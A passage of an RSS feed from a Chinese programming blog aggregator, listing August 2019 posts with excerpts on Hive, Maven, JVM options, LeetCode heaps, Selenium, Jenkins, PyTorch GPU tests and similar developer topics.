      <description>-Xms512m&#xA;-Xmn512m&#xA;-Xmx1g&#xA;-XX:ReservedCodeCacheSize=240m&#xA;-XX:MaxMetaspaceSize=512m&#xA;-XX:+UseG1GC&#xA;-XX:SoftRefLRUPolicyMSPerMB=50&#xA;-ea&#xA;-Dsun.io.useCanonCaches=false&#xA;-Djava.net.preferIPv4Stack=true&#xA;-Djdk.http.auth.tunneling.disabledSchemes=&#34;&#34;&#xA;-XX:+HeapDumpOnOutOfMemoryError&#xA;-XX:-OmitStackTraceInFastThrow</description>
    </item>
    <item>
      <title>启动hive出错Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: Found class jline.Termina</title>
      <link>https://bchobby.github.io/posts/c028f34677f46bb372bf514dbd8e0111/</link>
      <pubDate>Mon, 19 Aug 2019 19:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c028f34677f46bb372bf514dbd8e0111/</guid>
      <description>启动hive出错： 启动hive出错：&#xA;Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: Found class jline.Terminal, but interface was expected 解决方案： cp /usr/apps/hive/hive‐1.2.1/lib/jline‐2.12.jar $HADOOP_HOME/share/hadoop/yarn/lib/&#xA;如果hive遇到错误&#xA;记得去查看日志&#xA;1.HIVE默认log文件保存的地方&#xA;/tmp/&amp;lt;user.name&amp;gt;文件夹的hive.log文件中，全路径就是/tmp/当前用户名/hive.log。&#xA;我的就在cat /tmp/root/hive.log&#xA;可以参考别人的博客查看日志信息&#xA;https://www.cnblogs.com/kouryoushine/p/7805657.html</description>
    </item>
    <item>
      <title>Petalinux系列-Petalinux2019.1安装</title>
      <link>https://bchobby.github.io/posts/adc6d969aad4f37b93c424a28e01f39a/</link>
      <pubDate>Mon, 19 Aug 2019 10:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adc6d969aad4f37b93c424a28e01f39a/</guid>
      <description>Petalinux2019.1的安装与之前大体类似，但是有几个小坑，再次记录一下。&#xA;安装依赖 ug1144中提供了快速安装依赖的脚本，&#xA;sudo apt-get install -y gcc git make net-tools libncurses5-dev tftpd zlib1g-dev libssl-dev flex bison libselinux1 gnupg wget diffstat chrpath socat xterm autoconf libtool tar unzip texinfo zlib1g-dev gcc-multilib build-essential -dev zlib1g:i386 screen pax gzip 这里边有很多错误，比如build-essential -dev，没有安装gawk，没有安装gawk就运行.run文件就会出现如下报错&#xA;awk: read error (Bad address) Please refer to the PetaLinux Tools Installation Guide. Check the troubleshooting guide at the end of that manual, and if you are unable to resolve the issue please contact customer support with file: /media/Document/Xilinx/Petalinux/petalinux_installation_log .</description>
    </item>
    <item>
      <title>【leetcode】优先队列题目集合</title>
      <link>https://bchobby.github.io/posts/425d23c3b39af22abbd4ae65c5da5697/</link>
      <pubDate>Sun, 18 Aug 2019 18:52:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/425d23c3b39af22abbd4ae65c5da5697/</guid>
      <description>一、在N个元素中选出前M个元素（N远大于M时） 在1,000,000个元素中选出前100名。&#xA;思路一：对N的元素进行排序，然后选出前M个元素，时间复杂度为O(NlogN)（采用快排或归并排序等高级排序算法）&#xA;思路二：使用优先队列，可以将时间复杂度降低为O(NlogM)。具体实现：使用优先队列维护M个元素，即每次向优先队列中加入一个元素时，需要将当前队列中的最小元素替换出去，保证队列中的M个元素是当前遍历过的元素中的最大的前M个。&#xA;使用最小堆&#xA;347 前k个高频元素&#xA;给定一个非空的整数数组，返回其中出现频率前 k 高的元素。&#xA;示例 1:&#xA;输入: nums = [1,1,1,2,2,3], k = 2&#xA;输出: [1,2]&#xA;示例 2:&#xA;输入: nums = [1], k = 1&#xA;输出: [1]&#xA;import heapq from collections import Counter class Solution: def topKFrequent(self, nums, k): res = [] dic = Counter(nums) max_heap = [(-val, key) for key, val in dic.items()] heapq.heapify(max_heap) for i in range(k): # 把Heap里面出现最大的几个数pop出来就好，记得这里需要pop出来的是key, 不是val res.append(heapq.heappop(max_heap)[1]) return res # 利用Counter + PriorityQueue来做 # python skill class Solution(object): def topKFrequent(self, nums, k): return [item[0] for item in collections.</description>
    </item>
    <item>
      <title>使用maven，在一个项目中调用另一个项目</title>
      <link>https://bchobby.github.io/posts/7d59bdce328db47c5eb6bf0c09ee9049/</link>
      <pubDate>Sun, 18 Aug 2019 15:52:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d59bdce328db47c5eb6bf0c09ee9049/</guid>
      <description> Maven项目只能识别项目本身包含，和本地仓库的信息。 项目1依赖项目2，则必须将项目2 放在本地仓库中（install）。 需要创建两个maven项目。 一、首先，创建一个名为service的maven项目 新建一个demo类： package com.mf; /** * @ClassName Demo * @Description TODO * @Author msi * @Date 2019/8/18 15:34 */ public class Demo { public static void demo(){ Class clazz = Demo.class; System.out.println(&#34;service 项目中的&#34; + clazz.getSimpleName() + &#34; 类，它里面的&#34; + clazz.getMethods()[0] + &#34; 方法被调用！&#34;); } } 二、再新建一个maven项目，取名叫client。 写一个类UserDemoTest，来调用service项目Demo类中的demo(); 这时是报错的，因为client项目没有这个方法。&#xA;切换到service项目，使用maven命令 install 在本地仓库创建 jar包。 去本地仓库查看 我们将client项目的pom.xml中引入service的jar 可以看见UserDemoTest 没有报错了。并且运行成功执行了demo方法。 </description>
    </item>
    <item>
      <title>VM options</title>
      <link>https://bchobby.github.io/posts/2718088b1032fbc2a11cd16812fe75bf/</link>
      <pubDate>Fri, 16 Aug 2019 22:41:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2718088b1032fbc2a11cd16812fe75bf/</guid>
      <description>文章目录 -Xms512m-Xmx1024m-XX:PerSize=512MXX:MaxPersize=1024M-noverify参考文献 刚参加工作，发现每次配置启动时，在&#xA;都配置了。虽然也是知道是配置虚拟机的，可是具体有什么用，不晓得。特此记录一下。&#xA;-Xms512m -Xmx1024m -XX:PerSize=512M -XX:MaxPersize=1024M -noverify -Xms512m 完整格式是：&#xA;-Xmssize 这是一个不标准的选项（标准的选项是所有类型的虚拟机都可以使用的），而这个选项是特定于Java HotSpot Virtual Machine的。意思是设置堆的初始化大小，值的大小必须大于1M并且是1024byte的倍数。默认单位是byte，不过末尾可以使用k或者K去指明单位是kilobytes。同理可以使用m/M,g/G。下面是使用该选项设置堆的初始化大小为6M。&#xA;-Xms6291456 -Xms6144k -Xms6m 如果你不设置的话，那么堆的初始化大小为老年代和新生代的大小总和。&#xA;tips:&#xA;可以使用-Xmn option 或者 -XX:NewSize option来设置新生代的大小。&#xA;-Xmx1024m 完整格式是：&#xA;-Xmssize 设置堆的最大大小，也必须为1024的倍数，并且必须大于2m.&#xA;-XX:PerSize=512M permanent generation（由叫做non-heap），其实就是java虚拟机运行时数据区中的方法区。&#xA;用来设置方法区触发垃圾回收机制的内层大小。当超过大小就会触发垃圾回收机制。在jdk8中是不建议的，推荐使用-XX:MetaspaceSize替换。&#xA;Sets the space (in bytes) allocated to the permanent generation that triggers a garbage collection if it is exceeded. This option was deprecated un JDK 8, and superseded by the -XX:MetaspaceSize option.&#xA;XX:MaxPersize=1024M 设置方法区最大大小。同样在jdk8中是不建议的，建议使用 -XX:MaxMetaspaceSize替换。</description>
    </item>
    <item>
      <title>Python实现PDF、doc、docx、xls、xlsx文件文本替换（保留原格式）</title>
      <link>https://bchobby.github.io/posts/1a5eaf0312c8d2714820ce1f3568f937/</link>
      <pubDate>Fri, 16 Aug 2019 15:05:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a5eaf0312c8d2714820ce1f3568f937/</guid>
      <description>需求：&#xA;替换pdf文件中的指定内容&#xA;解决思路：&#xA;doc、docx、pdf、xls等文件都是以二进制形式保存，不能直接通过read(&#39;r&#39;)读取文件原始内容，需要转换为html文件，html文件可以通过read(&#39;r&#39;)获取文本内容，在进行文本替换。&#xA;替换doc、docx文件指定内容：&#xA;可以利用win32com库直接进行替换（只适用于win系统）或者转为html格式处理 替换xls文件指定内容：&#xA;转为html格式处理使用xlrd、xlutils两个库,参考https://blog.csdn.net/bocai_xiaodaidai/article/details/100007852 问题汇总：&#xA;利用libreoffice将doc、docx直接转为html，可能出现格式错乱问题，可先转为pdf，pdf再转为htmlxls文档内容过宽时，直接转html或者先转pdf都会出现排版错乱，此问题尚未解决。那种方式影响小先用哪种吧 格式转换工具参考：https://blog.csdn.net/bocai_xiaodaidai/article/details/99676635</description>
    </item>
    <item>
      <title>vue的无缝滚动插件：vue-seamless-scroll</title>
      <link>https://bchobby.github.io/posts/1202506340b854696cdd8d2ebbd3ec35/</link>
      <pubDate>Fri, 16 Aug 2019 14:29:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1202506340b854696cdd8d2ebbd3ec35/</guid>
      <description> 1、npm安装&#xA;npm install vue-seamless-scroll --save 2、引入&#xA;import scroll from &#39;vue-seamless-scroll&#39; 官方demo:https://chenxuan1993.gitee.io/component-document/index_prod#/component/seamless-default&#xA;3、使用&#xA;&amp;lt;vue-seamless-scroll :data=&#34;listData&#34; class=&#34;seamless-warp&#34;&amp;gt; &amp;lt;ul class=&#34;item&#34;&amp;gt; &amp;lt;li v-for=&#34;item in listData&#34;&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/vue-seamless-scroll&amp;gt; 4、配置 defaultOption() { return { step: 0.2, // 数值越大速度滚动越快 limitMoveNum: 3 // 开始无缝滚动的数据量 this.dataList.length // hoverStop: true, // 是否开启鼠标悬停stop // direction: 0, // 0向下 1向上 2向左 3向右 // openWatch: true, // 开启数据实时监控刷新dom // // singleHeight: 0, // 单步运动停止的高度(默认值0是无缝不停止的滚动) direction =&amp;gt; 0/1 // singleHeight: 20, // 单步运动停止的宽度(默认值0是无缝不停止的滚动) direction =&amp;gt; 2/3 // waitTime: 1000 // 单步运动停止的时间(默认值1000ms) } } </description>
    </item>
    <item>
      <title>全志 v4l2 VIDIOC_S_CTRL 报错Inappropriate ioctl for device</title>
      <link>https://bchobby.github.io/posts/aba301389d40a94f6b9d31094bfd0eb7/</link>
      <pubDate>Fri, 16 Aug 2019 14:27:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aba301389d40a94f6b9d31094bfd0eb7/</guid>
      <description>最近,有个热成像的uvc摄像头,在v4l2 ioctlv4l2 VIDIOC_S_CTRL报错&#xA;v4l2 VIDIOC_S_CTRL 报错&#xA;错误信息:&#xA;iioctl(fd, VIDIOC_S_CTRL, &amp;amp;ctrl) == -1)&#xA;报错: Inappropriate ioctl for device&#xA;跟踪内核代码:linux-3.4/drivers/media/video/uvc/uvc_v4l2.c&#xA;函数: uvc_v4l2_do_ioctl()&#xA;default:&#xA;uvc_trace(UVC_TRACE_IOCTL, &#34;Unknown ioctl 0x%08x\n&#34;, cmd);&#xA;return -ENOTTY;&#xA;}&#xA;没找到命令？ 奇怪了，&#xA;根据信息 uvcvideo: Unknown ioctl 0xc008561c&#xA;难度VIDIOC_S_CTRL的值不为0xc008561c，在内核打印VIDIOC_S_CTRL的值为:c00c561c&#xA;说明VIDIOC_S_CTRL的定义在应用程序头文件和内核不一样&#xA;内核查找VIDIOC_S_CTRL定义&#xA;include/linux/videodev2.h:2497:#define VIDIOC_S_CTRL _IOWR(&#39;V&#39;, 28, struct v4l2_control)&#xA;应用程序定义&#xA;libc/usr/include/linux/videodev2.h:1874:#define VIDIOC_S_CTRL _IOWR(&#39;V&#39;, 28, struct v4l2_control)&#xA;看似应该是一样，差别应该在_IOWR和struct v4l2_control的定义，&#xA;继续查找struct v4l2_control定义&#xA;内核:&#xA;1147 /*&#xA;1148 * C O N T R O L S</description>
    </item>
    <item>
      <title>eMTC网络系统广播消息研究</title>
      <link>https://bchobby.github.io/posts/a79b872a228d372753e8ae67c87758c6/</link>
      <pubDate>Fri, 16 Aug 2019 00:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a79b872a228d372753e8ae67c87758c6/</guid>
      <description>背景 LTE对于小区的公共配置参数通过系统广播消息发送给终端。终端在完成搜网和同步以后，下一步就是接收和解析系统广播消息。&#xA;系统广播消息分为MIB和SIB。MIB在BCH上发送，SIB在DL-SCH上发送。&#xA;eMTC是3GPP R13中为了增强对LTE - M的支持而引入的新的技术，也成为LTE CAT-M1。&#xA;国内目前没有eMTC商用网络，使用eMTC终端接入微戎WR100s测试系统，可以抓取信令消息进行分析。&#xA;MIB消息 MIB消息中以空闲的5bit携带schedulingInfoSIB1-BR-r13指示该小区是支持eMTC。以下是MIB消息的解析：&#xA;dl-Bandwidth: n50 (3) phich-Config phich-Duration: normal (0) phich-Resource: one (2) systemFrameNumber: 2e [bit length 8, 0010 1110 decimal value 46] schedulingInfoSIB1-BR-r13: 16 PDSCH repetitions - TBS 208 bits (3) spare: 00 [bit length 5, 3 LSB pad bits, 0000 0... decimal value 0] SIB1消息 eMTC相关的配置参数主要是 bandwidthReducedAccessRelatedInfo-r13&#xA;c1: systemInformationBlockType1 (1) systemInformationBlockType1 cellAccessRelatedInfo plmn-IdentityList: 1 item Item 0 PLMN-IdentityInfo plmn-Identity mcc: 3 items Item 0 MCC-MNC-Digit: 0 Item 1 MCC-MNC-Digit: 0 Item 2 MCC-MNC-Digit: 1 mnc: 2 items Item 0 MCC-MNC-Digit: 0 Item 1 MCC-MNC-Digit: 1 cellReservedForOperatorUse: notReserved (1) trackingAreaCode: 0001 [bit length 16, 0000 0000 0000 0001 decimal value 1] cellIdentity: 1a2e0010 [bit length 28, 4 LSB pad bits, 0001 1010 0010 1110 0000 0000 0001 .</description>
    </item>
    <item>
      <title>Non-resolvable import POM: Could not transfer artifact org.springframework.cloud:spring-cloud-depend</title>
      <link>https://bchobby.github.io/posts/4d6fbb68e170037ffbdc042c92ecbb80/</link>
      <pubDate>Thu, 15 Aug 2019 22:30:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d6fbb68e170037ffbdc042c92ecbb80/</guid>
      <description>mvn clean命令，报错如下：&#xA;[INFO] Scanning for projects…&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-commons-dependencies/1.2.2.RELEASE/spring-cloud-commons-dependencies-1.2.2.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-netflix-dependencies/1.3.1.RELEASE/spring-cloud-netflix-dependencies-1.3.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-stream-dependencies/Chelsea.SR2/spring-cloud-stream-dependencies-Chelsea.SR2.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-task-dependencies/1.1.2.RELEASE/spring-cloud-task-dependencies-1.1.2.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-config-dependencies/1.3.1.RELEASE/spring-cloud-config-dependencies-1.3.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-consul-dependencies/1.2.1.RELEASE/spring-cloud-consul-dependencies-1.2.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-sleuth-dependencies/1.2.1.RELEASE/spring-cloud-sleuth-dependencies-1.2.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-vault-dependencies/1.0.1.RELEASE/spring-cloud-vault-dependencies-1.0.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-zookeeper-dependencies/1.1.1.RELEASE/spring-cloud-zookeeper-dependencies-1.1.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-security-dependencies/1.2.1.RELEASE/spring-cloud-security-dependencies-1.2.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-cloudfoundry-dependencies/1.1.0.RELEASE/spring-cloud-cloudfoundry-dependencies-1.1.0.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-bus-dependencies/1.3.1.RELEASE/spring-cloud-bus-dependencies-1.3.1.RELEASE.pom&#xA;[INFO] Downloading from central: https://repo.</description>
    </item>
    <item>
      <title>WebDriver概述</title>
      <link>https://bchobby.github.io/posts/651abe3769e4fd1825f84bb1524ede32/</link>
      <pubDate>Thu, 15 Aug 2019 20:42:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/651abe3769e4fd1825f84bb1524ede32/</guid>
      <description> 什么是WebDriver?&#xA;Webdriver (Selenium2.0）是一种用于Web应用程序的自动测试工具；它提供了一套友好的API；Webdriver完全就是一套类库，不依赖于任何测试框架，除了必要的浏览器驱动; WebDriver API 支持的开发语言&#xA;官网文档：https://docs.seleniumhq.org/docs/03_webdriver.jsp&#xA;JavaPythonPHPJavaScriptPerlRubyC# 为什么要学习WebDriver?&#xA;自动化测试概念WebDriver-定位元素WebDriver-操作元素 基于Python环境搭建&#xA;Windows系统Python 3.5（以上版本）安装selenium包浏览器安装PyCharm selenium 安装、卸载、查看命令&#xA;安装：pip install selenium==2.48.0&#xA;1). pip:通用的 Python 包管理工具。提供了对 Python 包的查找、下载、安装、卸载的功能。&#xA;2). install: 安装命令&#xA;3). selenium==2.48.0: 指定安装selenium2.48.0版本（如果不指定版本默认为最新版本）卸载：pip uninstall selenium查看：pip show selenium 浏览器&#xA;火狐浏览器&#xA;FireFox 48以上版本&#xA;Selenium 3.X +FireFox驱动——geckodriverFirefox 48 以下版本&#xA;Selenium2.X 内置驱动 IE浏览器&#xA;IE 9以上版本&#xA;Selenium3.X +IE驱动IE 9以下版本&#xA;Selenium 2.X +IE驱动 谷歌浏览器&#xA;selenium2.x/3.x +Chrome驱动&#xA;各个驱动下载地址： http://www.seleniumhq.org/download/&#xA;注意:&#xA;浏览器的版本和驱动版本要一致!（如果是32bit浏览器而Driver是64bit则会导致脚本运行失败！）浏览器驱动下载好后需要添加Path环境变量中，或者直接放到Python安装目录，因为Python已经添加到Path中推荐使用火狐浏览器(24、35)版 </description>
    </item>
    <item>
      <title>Jenkins自定义构建参数使用</title>
      <link>https://bchobby.github.io/posts/9913582a2eb66cb782952b57d7c37c81/</link>
      <pubDate>Thu, 15 Aug 2019 17:01:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9913582a2eb66cb782952b57d7c37c81/</guid>
      <description>Jenkins自定义构建参数使用 配置参数化构建 新建参数 简单的在命令使用, 直接使用字符参数即可&#xA;配置名称和默认值&#xA;命令中引用 mvn compile jib:build \ -Dimage_tag=pa-1.5.0${BUILD_TAG} \ -Dregistry_url=${REGISTRY_URL} \ -Dregistry_username=${REGISTRY_USERNAME} \ -Dregistry_password=${REGISTRY_PASSWORD} 使用参数构建 配置了参数这里就会编程使用参数构建&#xA;输入参数&#xA;这个时候构建命令里面的参数就会被替代</description>
    </item>
    <item>
      <title>相对路径和绝对路径的区别和联系(图文分析)</title>
      <link>https://bchobby.github.io/posts/8f7024d7130d9a44b9ca16b1539ab557/</link>
      <pubDate>Thu, 15 Aug 2019 11:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f7024d7130d9a44b9ca16b1539ab557/</guid>
      <description>一.基本概念 相对路径从名字可以看出是以某一个文件夹或者文件为参照点来看，其他文件夹或者文件的路径&#xA;绝对路径即是绝对的路径，固定死的路径，则是以根目录为起始点某一文件的路径，我们平时在电脑上的文件在硬盘上真正存在的路径就是绝对路径&#xA;比如根目录为A，A下面有B、C两个子文件夹，B文件夹下有D文件，C文件夹下有E文件，则对于D文件来说,E文件的绝对路径就是A:\C\E,E文件的相对路径则是../C/E；因为D和E都是在根目录A下面，但其上面都还有一个父文件夹，所以前面加个..表示上一层。如图所示&#xA;二.联系和区别 从上面例子我们可以看出如果将绝对路径转化为相对路径，则只需保留两者路径不同的部分，去除相同的部分即可，并且两者的分隔符有所却别，在相对路径中可以使用“/”字符作为目录的分隔字符，而在绝对路径中即可以使用“\”也可以 “/”字符作为目录的分隔字符&#xA;在相对目录中经常使用.代表的是当前所在的目录，使用..代表上一层目录，而/代表根目录&#xA;比如，我的前端项目结构如下&#xA;如果我需要在Dangfengjianse.vue项目中引用assets文件夹下的bgm.png图片，因为Dangfengjianse.vue和bgm.png都同在src文件夹下，则引用的相对路径格式为&#xA;而绝对路径则是&#xA;文件的绝对路径使用VSCode可以右键该文件，然后选择复制路径即可以得到绝对路径&#xA;三.总结 相对路径和绝对路径的使用没有绝对的要求使用环境，但是相对路径的使用更加灵活，方便更改，但如果相对路径可能有点难找，如果找的不对则容易出错；而绝对路径的话能避免这个问题，直接复制在硬盘上的路径即可，但是在使用上面的灵活性不如相对路径。</description>
    </item>
    <item>
      <title>这2个在线资源网千万别错过，老司机人手一份，一年省下好几千</title>
      <link>https://bchobby.github.io/posts/a5f5b6151bc303771116fd9ec1c8a9ae/</link>
      <pubDate>Thu, 15 Aug 2019 10:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5f5b6151bc303771116fd9ec1c8a9ae/</guid>
      <description>早些时候，国内的电影资源网站大部分是搬运了国外的破解资源，并非自己 “ 原创 ” 出来的，这两天很多人都在想尽办法求《哪吒》熟肉资源，我们这边的电影院已经下播了，然后大家也知道，新出的电影在下播之后也会要很长一段时间才能在手机上观看，错过电影院上映时间的小伙伴们可以在下面这个网站中搜索一下，很多熟肉资源甚至都不是会员。&#xA;【一部影院】&#xA;看漫画不过瘾，动漫更生动形象，一部影院里面包括斗罗大陆，妖神记等口碑极好的动漫，不良人也在内，无广告观看，这些熟肉不需要充值VIP，有一点要提醒大家，这个站点在电脑上打开无法播放，支持手机观看，给大家健康看一下内容。&#xA;最新电影&#xA;国内动漫&#xA;热门电视剧&#xA;站内有的全部不收费，观看图中没有广告没有病毒，一次性看到爽就是这种感觉吧。&#xA;【colorhub】&#xA;百度图片很多人在用，但这些图片清晰度肯定是不够的，去网站里面找图片素材又怕侵犯到别人的版权，巧了，这个网站里面有着许多精美的图片，可都是没有版权的，免费下载免费使用,根据要用的颜色选择图片定位新更强。&#xA;选择夕阳红&#xA;专辑栏系列图片&#xA;大自然系列&#xA;目前网站已收录109874张图片了，用作撰文配图或ps素材在风格会更统一，每一张图片都是高清的存在。&#xA;港真的，昨天今天为了找资源奔波好多搜索网站 最后发现这两个网站最好用，比较满意的是能对上大多数人的需求，今天给大家推荐的两个在线网站你们觉得哪个比较称心如意呢，欢迎下面给评价哦。</description>
    </item>
    <item>
      <title>mui实现上拉刷新与下拉加载功能</title>
      <link>https://bchobby.github.io/posts/19bcf6765f9c02305b613247c86c75ea/</link>
      <pubDate>Thu, 15 Aug 2019 10:22:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19bcf6765f9c02305b613247c86c75ea/</guid>
      <description>引言 下拉刷新与上拉加载功能可谓是现在APP开发的两个常见功能，在电脑端我们常常通过点击分页的形式来向用户展示更多内容，不过在移动端我们可不想有这些多余的点击操作，只要想看更多内容只要下拉话上拉就可以了，这个小技巧可以大大的提高用户体验，下面我们来简单的了解一下MUI是如何实现这两种功能的。&#xA;关键点1：&#xA;初始化下拉刷新与上拉加载功能&#xA;mui.init({ pullRefresh: { container: &#39;#refreshContainer&#39;, down: { callback: pulldownfresh // 下拉刷新 }, up: { callback: pullupfresh // 上拉加载 } } }); 关键点2：&#xA;定义下拉刷新与上拉加载的容器&#xA;&amp;lt;div class=&#34;mui-content&#34;&amp;gt; &amp;lt;!--下拉刷新/上拉加载开始--&amp;gt; &amp;lt;div id=&#34;refreshContainer&#34; class=&#34;mui-content mui-scroll-wrapper&#34;&amp;gt; &amp;lt;div class=&#34;mui-scroll&#34;&amp;gt; &amp;lt;!--执行上拉刷新或下拉加载的业务逻辑--&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!--下拉刷新/上拉加载结束--&amp;gt; &amp;lt;/div&amp;gt; 关键点3：&#xA;编写下拉刷新逻辑，这里一般的逻辑都是通过ajax向后端获取更多数据，然后再显示到前端上。&#xA;function pulldownfresh() { // 业务逻辑开始 // 业务逻辑结束 // 结束下拉刷新 this.endPulldownToRefresh(); } 编写上拉加载逻辑，同下拉刷新一样，这里一般的逻辑也都是通过ajax向后端获取更多数据，然后再显示到前端上。&#xA;function pullupfresh() { // 业务逻辑开始 // 业务逻辑结束 // 结束上拉加载 this.endPullupToRefresh(); } 使用案例 &amp;lt;!doctype html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;</description>
    </item>
    <item>
      <title>电脑触摸板操作</title>
      <link>https://bchobby.github.io/posts/c37ae5498f3899803508f079141e2f38/</link>
      <pubDate>Wed, 14 Aug 2019 16:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c37ae5498f3899803508f079141e2f38/</guid>
      <description>基本操作：用单指触摸触摸板并移动相当于移动鼠标；轻敲触摸板相当于鼠标左键单击；轻敲两次相当于鼠标左键双击。&#xA;一、用单指触摸触摸板并移动相当于移动鼠标&#xA;二、单击左键相当于点击鼠标左键；单击右键相当于点击鼠标右键。&#xA;三、单指双击触摸板相当于鼠标左键双击；双指同时单击触摸板相当于单击鼠标右键。&#xA;四、拖动图标；左手双击图标后不松手，右手进行拖动&#xA;五、选中一段文字；左手双击后不松手，右手进行选中&#xA;六、双指在触摸板上上下、左右滑动，可以滚动浏览网页事文档；双指张开、闭合可以实现放大、缩小（看照片、文档时）&#xA;七、三个手指同时点击可以快速打开搜索界面；三个手指向上滑动可以显示虚拟桌面&#xA;八、三个手指向下滑动可以隐藏桌面打开的应用程序；三个手指左右滑动可以快速切换任务&#xA;九、四个手指同时单击可以快速打开操作中心。</description>
    </item>
    <item>
      <title>PyTorch_GPU加速测试</title>
      <link>https://bchobby.github.io/posts/db836dd5134ff0f2e9b9989d485d7cd4/</link>
      <pubDate>Wed, 14 Aug 2019 15:41:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db836dd5134ff0f2e9b9989d485d7cd4/</guid>
      <description>示例代码：&#xA;import torch import time print(torch.__version__) # 返回pytorch的版本 print(torch.cuda.is_available()) # 当CUDA可用时返回True a = torch.randn(10000, 1000) # 返回10000行1000列的张量矩阵 b = torch.randn(1000, 2000) # 返回1000行2000列的张量矩阵 t0 = time.time() # 记录时间 c = torch.matmul(a, b) # 矩阵乘法运算 t1 = time.time() # 记录时间 print(a.device, t1 - t0, c.norm(2)) # c.norm(2)表示矩阵c的二范数 device = torch.device(&#39;cuda&#39;) # 用GPU来运行 a = a.to(device) b = b.to(device) # 初次调用GPU，需要数据传送，因此比较慢 t0 = time.time() c = torch.matmul(a, b) t2 = time.time() print(a.</description>
    </item>
    <item>
      <title>elasticsearch之布尔查询</title>
      <link>https://bchobby.github.io/posts/09d21297cd843fd1bb71cb8092acfa10/</link>
      <pubDate>Wed, 14 Aug 2019 15:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09d21297cd843fd1bb71cb8092acfa10/</guid>
      <description> https://www.cnblogs.com/Neeo/articles/10578625.html </description>
    </item>
    <item>
      <title>java 上传大文件以及文件夹</title>
      <link>https://bchobby.github.io/posts/f540ac56e6e9c3e6989108f9cf097977/</link>
      <pubDate>Wed, 14 Aug 2019 15:08:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f540ac56e6e9c3e6989108f9cf097977/</guid>
      <description>文件上传是最古老的互联网操作之一，20多年来几乎没有怎么变化，还是操作麻烦、缺乏交互、用户体验差。&#xA;一、前端代码 英国程序员Remy Sharp总结了这些新的接口 ，本文在他的基础之上，讨论在前端采用HTML5的API，对文件上传进行渐进式增强：&#xA;* iframe上传 * ajax上传 * 进度条 * 文件预览 * 拖放上传 1.1 传统形式 文件上传的传统形式，是使用表单元素file，参考 http://www.ruanyifeng.com/blog/2012/08/file_upload.html ：&#xA;&amp;lt;form id=&#34;upload-form&#34; action=&#34;upload.php&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34; &amp;gt; &amp;lt;input type=&#34;file&#34; id=&#34;upload&#34; name=&#34;upload&#34; /&amp;gt; &amp;lt;br /&amp;gt; &amp;lt;input type=&#34;submit&#34; value=&#34;Upload&#34; /&amp;gt; &amp;lt;/form&amp;gt; 所有浏览器都支持上面的代码，点击上传按钮后，网页&#34;锁死&#34;，用户只能等待上传结束，然后浏览器刷新，跳到表单的action属性指定的网址。&#xA;1.2 iframe上传 用户点击submit时，动态插入一个iframe元素&#xA;var form = $(&#34;#upload-form&#34;);&#xA;form.on(&#39;submit&#39;,function() {&#xA;// 此处动态插入iframe元素&#xA;});&#xA;var seed = Math.floor(Math.random() * 1000);&#xA;var id = &#34;uploader-frame-&#34; + seed;&#xA;var callback = &#34;uploader-cb-&#34; + seed;</description>
    </item>
    <item>
      <title>rhel8订阅注册激活</title>
      <link>https://bchobby.github.io/posts/b9296c711f627ae1af170b38572338e9/</link>
      <pubDate>Wed, 14 Aug 2019 14:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9296c711f627ae1af170b38572338e9/</guid>
      <description>先注册账号进行订阅&#xA;注册系统&#xA;https://www.howtoing.com/enable-rhel-subscription-in-rhel-8/</description>
    </item>
    <item>
      <title>Altium  Desiner10 设计简单了解及PCB四层板设计详细介绍</title>
      <link>https://bchobby.github.io/posts/4a9745cdab0a20ab2be4cf402d94c915/</link>
      <pubDate>Wed, 14 Aug 2019 13:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a9745cdab0a20ab2be4cf402d94c915/</guid>
